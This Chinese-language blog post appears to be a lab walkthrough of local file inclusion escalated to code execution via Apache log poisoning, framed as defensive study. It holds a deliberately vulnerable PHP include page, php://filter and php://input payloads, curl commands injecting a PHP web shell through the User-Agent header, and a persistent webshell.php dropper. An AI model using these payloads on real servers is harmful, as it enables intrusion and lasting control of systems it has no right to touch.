Web 安全防御:本地文件包含(LFI)漏洞原理与日志攻击模拟分析

📅 2026/7/6 13:33:59
Web 安全防御:本地文件包含(LFI)漏洞原理与日志攻击模拟分析
⚠️ 免责声明本文内容仅供网络安全技术研究与防御学习使用。所有操作均在本地虚拟化环境中完成未对任何公网或生产系统造成影响。严禁将文中技术用于任何非法用途。一、前言LFI本地文件包含 日志投毒Log Poisoning RCE这个组合的原理很简单但利用过程非常优雅发现目标存在 LFI 漏洞能包含任意文件但能包含的文件只有日志文件向日志中投毒写入 PHP 代码用 LFI 包含日志文件触发代码执行下面我会从靶场搭建开始一步步复现完整过程。靶机CentOS7攻击机Kali Linux二、环境准备2.1 搭建漏洞环境# 创建测试目录 mkdir -p /var/www/html/lfi_lab # 创建漏洞文件 index.php cat /var/www/html/lfi_lab/index.php EOF ?php $page $_GET[page]; include($page); ? EOF # 设置权限 chmod 755 /var/www/html/lfi_lab/index.php chown -R apache:apache /var/www/html/lfi_lab2.2 配置 Apache# 确保 Apache 错误日志和访问日志开启 sudo vi /etc/httpd/conf/httpd.conf # 确保下面两条未被#注释 ErrorLog logs/error_log CustomLog logs/access_log combined2.3 验证 LFI 漏洞存在访问http://靶机IP/lfi_lab/index.php?page/etc/passwd如果成功返回 /etc/passwd 内容说明 LFI 漏洞存在。三、LFI 基础操作3.1 读取系统文件# 读取系统版本信息 ?page/etc/issue# 读取内核版本 ?page/proc/version# 读取系统 hosts ?page/etc/hosts3.2 读取应用源码php://filter直接读 PHP 文件会被执行用 Base64 编码读取源码?pagephp://filter/readconvert.base64-encode/resourceindex.php # 返回 Base64 编码的内容解码后看到源码解码得到源码3.3 php://input 执行代码需要 allow_url_includeOn实现这个操作需要修改php.ini文件# 查找php.ini所在位置 php -i | grep php.ini # 进入配置文件并修改 sudo vim /etc/php.ini找到allow_url_includeOff修改为On使用访问http://靶机IP/lfi_lab/index.php?pagephp://input打开Burpsuite抓包获取抓包信息将抓包信息修改成POST请求POST /lfi_lab/index.php?pagephp://input HTTP/1.1 Host: 192.168.66.136 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Accept-Language: zh-CN,zh;q0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 22 ?php system(id); ?但如果allow_url_include Off现代 PHP 默认关闭这个方法就用不了。这时候就需要我们的主角——日志投毒四、日志投毒Log Poisoning原理4.1 核心思路Apache/Nginx 默认会把 HTTP 请求的 **User-Agent**、**Referer**、**请求 URL** 等信息记录到日志文件中。如果我们在 User-Agent 中写入 PHP 代码这段代码就会被原样写入日志文件。然后我们利用 LFI 包含这个日志文件PHP 代码就会在服务端执行。4.2 日志存储位置# Apache 默认日志路径 /var/log/apache2/access.log # Debian/Ubuntu /var/log/httpd/access_log # CentOS/RHEL # Nginx 默认日志路径 /var/log/nginx/access.log # 自定义日志路径查看 Apache 配置 grep -r CustomLog /etc/apache2/ grep -r access.log /etc/nginx/五、实战复现5.1 第一步确认 LFI 漏洞先确认能否包含日志文件# 尝试包含 Apache 访问日志 ?page/var/log/httpd/access_log # 如果能看到日志内容包含 HTTP 请求记录说明可以包含日志文件如果返回空白或报错大概率是apache没有访问日志的权限# 1. 查看日志目录权限 ls -ld /var/log/httpd # 如果出现下面说明权限不够 drwx------. 2 root root 41 7月 2 11:37 /var/log/httpd/ # 2. 添加执行和读取权限 sudo chmod 755 /var/log/httpd/ # 3. 重新检查权限 ls -ld /var/log/httpd5.2 第二步向日志注入 PHP 代码在kali使用curl发送恶意请求在 User-Agent 中写入 PHP 代码# 注入一个简单的 WebShell curl -A ?php system(\$_GET[cmd]); ? http://靶机IP//lfi_lab/index.php?pagetest注意 请求的 URL 末尾必须是服务端不存在的页面如 pagetest这样才会在日志中产生记录同时又不会影响正常的应用功能。5.3 第三步验证代码已写入日志# 查看日志是否包含 PHP 代码 ?page/var/log/httpd/access_log在日志内容中你应该能看到类似这样的记录5.4 第四步通过 LFI 触发代码执行# 包含日志文件同时传入 cmd 参数 ?page/var/log/httpd/access_logcmdid如果成功你应该能看到 uid48(apache) gid48(apache) groups48(apache) 等信息5.5 第五步写入 WebShell 实现持久化# 写入一句话木马 curl -A ?php file_put_contents(/var/www/html/lfi_lab/webshell.php, ?php system(\$_GET[cmd]); ?); ? http://靶机IP/lfi_lab/index.php?pagetest # 包含日志触发写入 ?page/var/log/httpd/access_logcmdid # 访问 WebShell http://靶机IP/lfi_lab/webshell.php?cmdwhoami